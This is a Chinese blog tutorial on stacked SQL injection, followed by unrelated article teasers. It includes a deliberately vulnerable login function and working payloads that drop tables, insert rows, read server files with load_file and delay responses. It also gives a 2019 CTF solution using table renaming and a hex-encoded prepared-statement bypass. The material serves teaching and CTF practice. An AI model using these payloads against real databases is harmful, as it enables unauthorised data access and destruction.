【sql注入-堆叠注入】多语句执行、结合其他注入

news2024/11/26 15:45:52

目录

堆叠注入

一、语法介绍

二、漏洞示例

三、常见形式

网络安全O


堆叠注入

一、语法介绍:

版本:

可以影响几乎所有的关系型数据库


原理:

将多条语句堆叠在一起进行查询,且可以执行多条SQL语句

语句之间以分号(;)隔开,其注入攻击就是利用此特点,在第二条语句中构造payload


优势:

联合查询union也可拼接语句(有局限性)

但是堆叠注入能注入任意语句


局限:

利用mysqli_multi_query()函数就支持多条sql语句同时执行

但实际情况中,PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行

mysqli_query()函数:

mysqli_query($connection, $query);

//$connection:表示与MySQL服务器的连接,可以通过mysqli_connect()函数进行创建。
//$query:表示要执行的SQL查询语句。


使用:

有注入点:即存在sql注入漏洞

未过滤:即未对";"号进行过滤

未禁用:即未禁止执行多条sql语句

第一步:使用堆叠查询构造多条语句

select * from users where id=1;create table test like users; 


第二步:查看语句是否成功执行

show tables;


第三步:删除test,再查询

select * from users where id=1;drop table test;

show tables;

(被成功执行了)

 


 第四步:执行其它查询语句

查数据库当前用户,版本

select * from user where id=1;select 1,user(),database();

其他操作:

加载文件

select * from user where id=1;select load_file('文件路径');

修改数据

select * from user where id=1;insert into user(username,password) values ('好好学习','123456');



二、漏洞示例

代码示例:

def login(username, password):
    query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
    # 执行查询并验证用户登录信息
    ...

login函数接收一个用户名和密码作为参数,并构建了一个SQL查询语句。然而,它没有对输入进行任何验证或转义,直接将用户提供的输入拼接到查询字符串中

如恶意代码:

';select sleep(10);--+

查询语句将变成:

SELECT * FROM users WHERE username='';select sleep(10);--+' AND password='...'

如果存在注入的代码被执行,那么会执行sleep(10)函数,延时10s


 三、常见形式

举例之:“强网杯2019随便注”

已知:words表能回显内容,`1919810931114514` 表不能回显具体内容,select被过滤了

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;#

1、堆叠注入

';    开始堆叠

RENAME TABLE wordsTOwords1;   将名为words的表重命名为words1

RENAME TABLE 1919810931114514TOwords;  将名为1919810931114514的表重命名为words

ALTER TABLE wordsCHANGEflag id VARCHAR(100);   更改words表中名为flag的列的名称为id,并将其数据类型更改为VARCHAR(100)(最大长度为100个字符)

SHOW COLUMNS FROM words;   显示words表的所有列以及其属性和信息

#    注释掉代码的剩余部分

2、堆叠注入+select编码绕过

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#



网络安全O

README.md · 书半生/网络安全知识体系-实战中心 - 码云 - 开源中国 (gitee.com)https://gitee.com/shubansheng/Treasure_knowledge/blob/master/README.md

GitHub - BLACKxZONE/Treasure_knowledgehttps://github.com/BLACKxZONE/Treasure_knowledge

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/746346.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

人气爆棚!广西、湖南、山西等地领导莅临数据宝考察交流

摘要:近期,数据宝发展如火如荼,企业展厅“忙不停”,见证众多思想碰撞、交流提升,迎来了各省领导莅临参观指导。 01 数字广西集团、青秀区政府领导一行莅临数据宝上海分公司实地走访 近日,数字广西集团党…

深入理解Linux网络——内核与用户进程协作之同步阻塞方案(BIO)

文章目录 一、相关实际问题二、socket的直接创建三、内核和用户进程协作之阻塞方式1)等待接收消息2)软中断模块3)同步队列阻塞总结 在上一部分中讲述了网络包是如何从网卡送到协议栈的(详见深入理解Linux网络——内核是如何接收到…

postman测试接口出现404

postman测试接口出现404 1.用postman调试接口的过程中,出现404的情况,但是接口明明已调到了,而且数据也已经存入数据库了,这让我感到很疑惑。看网上的解决办法检查了我的路径,提交方式、参数类型等都是正确的&#xf…

Java反射(Reflection)总结

目录 Java反射概述 Class类 Class对象获取的三种方式: Class类的常用方法 动态加载机制: 通过反射调用构造方法 Constructor类 通过反射获取继承关系 通过反射访问字段(成员变量) 获取字段值: 设置字段值 通过反…

MySQL数据库(四)

前言 本文讲述索引和事务,以及JDBC。 是关于MySQL的最后一弹啦~~ 重点小知识:MySQL数据库的存储结构是B树!! 目录 前言 一、索引 (一)查看索引 (二)创建索引 (三&am…

【JVM】14. 堆外内存

文章目录 堆外内存的意义堆外内存(Off-heap memory)是指在计算机内存管理之外进行分配和使用的内存空间。与堆内内存(Heap memory)不同,堆外内存不受Java虚拟机(JVM)的垃圾回收机制控制,需要手动进行内存的分配和释放。 堆外内存通常由操作系统提供支持,可以通过直接…

3.利用matlab求平均值和中位数(matlab程序)

代码及运行结果 %% 算术平均值 clear all; A[1 2 3 4;4 4 4 4] m1mean(A) %对列元素求算术平均值 m2mean(A,2) %对行元素求算术平均值 %% 忽略非数计算算术平均值 clear all; A[1 4 nan 5;6 nan 7 nan] m1mean(A) %有nan就是nan…

深度学习-图像分类篇一:基础理论

开头言 学东西前总是爱问,这个学了有什么用,会用就行了么。能够回答你这个问题的人,都是学过的(只有学过才有资格告诉你有没有用),然而知识往往就是这样,学的人越多越没有用,我可以…

使用 Google 的 zx 库编写切换微信小程序环境的脚本

背景 微信小程序目前为止还没有提供API或者具体的配置方式,给我们设置环境变量,所以还得自己想办法。 创建一个 shell 脚本——一个由诸如 Bash 或 zsh 之类的 shell 执行的脚本——可以是自动化重复任务的好方法。Node.js 似乎是编写 shell 脚本的理想…

Apache Calcite 简介

这张图上列的,是直接使用 Apache Calcite 或者至少相关联的项目。大家肯定能在里面找到很多自己熟悉的项目。 那 Apache Calcite 究竟是干嘛的,又为什么能这么流行呢? 首先,摆一个应该没多少人会反对的共识:SQL 是编程领域最流行的语言。 有 MySQL、Oracle 之类使用 SQL…

Linux---函数库和Makefile

Linux---函数库和Makefile 函数库动态库静态库例 Linux项目自动化构建工具-make/Makefile背景实例代码原理项目清理 函数库 方法实现就是在库当中,库其实就是把源文件经过一定的翻译,然后打包,只给你提供一个文件计科,不用给你提…

Spring -- Bean的生命周期

BeanDefinition Spring容器在进行实例化时&#xff0c;会将xml配置的<bean>的信息封装成一个BeanDefinition对象&#xff0c;Spring根据BeanDefinition来创建Bean对象&#xff0c;里面有很多的属性用来描述Bean BeanDefinition 中几个重要方法如下 beanClassName&#…

阿里云——云服务器基础运维与管理

作者简介&#xff1a;一名云计算网络运维人员、每天分享网络与运维的技术与干货。 座右铭&#xff1a;低头赶路&#xff0c;敬事如仪 个人主页&#xff1a;网络豆的主页​​​​​ 目录 写在前面 学习目标&#xff1a; 一.3个理由拥抱云服务器 1.什么是云服务器 2.使用…

人物百科词条创建教程分享,人物创建百科有什么要求

人物百科词条的创建是一个相对复杂的过程&#xff0c;需要遵循一定的规范和要求。以下是一个人物百科词条创建教程的分享&#xff0c;包括创建要求、步骤和注意事项&#xff0c;接下来伯乐网络传媒就来给大家好好讲一讲。 一、人物百科词条创建要求 1. 真实性&#xff1a;创建…

ELK-日志服务【filebeat-安装使用】

目录 【1】安装Filebeat 【2】配置-测试 【3】配置使用Filebeat 【4】filebeat-收集系统文件日志 【5】配置filebeat&#xff0c;将/var/log/all.log日志采集到es集群中 【6】定制索引名称 【7】收集多个web节点的日志&#xff0c;输出到相同的索引中 【8】filebeat-收…

【并查集+组合计数】ABC226 E

E - Just one (atcoder.jp) 题意&#xff1a; 思路&#xff1a; 首先有个条件&#xff1a;每个点只有一个出边 如果没有直接看出结论&#xff0c;可以画几个链和树等特殊的图&#xff0c;可以发现&#xff0c;树是不满足条件的&#xff0c;环是满足条件的&#xff0c;因此可…

管理类联考——数学——记忆篇——数字编码

&#x1f3e0;个人主页&#xff1a;fo安方的博客✨ &#x1f482;个人简历&#xff1a;大家好&#xff0c;我是fo安方&#xff0c;考取过HCIE Cloud Computing、CCIE Security、CISP、RHCE、CCNP RS、PEST 3等证书。&#x1f433; &#x1f495;兴趣爱好&#xff1a;b站天天刷&…

Javaweb开发环境Myeclipse6.5 JDK1.6 Tomcat6.0 SVN1.8配置教程

Javaweb开发环境Myeclipse6.5 JDK1.6 Tomcat6.0 SVN1.8配置教程 javaweb开发环境的配置也是比较繁琐的一件事情&#xff0c;虽然理论上使用记事本&#xff0c;完全可以写出一个Javaweb工程&#xff0c; 但是在团队大型开发的Javaweb过程中&#xff0c;你必须配置好Eclipse、SV…

【算法集训之线性表篇】Day 08

文章目录 题目基本设计思想思路一思路二 代码实现效果 题目 已知一个整数数列A{a0,a1,a2,…,an-1}&#xff0c;其中0<ai<n(0<i<n)。若存在ap1ap2ap3…apmx且m>n/2(0<pk<n,1<k<m)&#xff0c;则成x为A的主元素。例如A{0,5,5,3,5,7,5,5}&#xff0c;…

Python模拟MQTT v3.1.1服务器

示例代码 import logging import asyncio from hbmqtt.broker import Broker# 设置日志级别为DEBUG logging.basicConfig(levellogging.DEBUG)# 创建MQTT服务器 broker Broker()# 启动MQTT服务器 async def start_broker():await broker.start()# 停止MQTT服务器 async def s…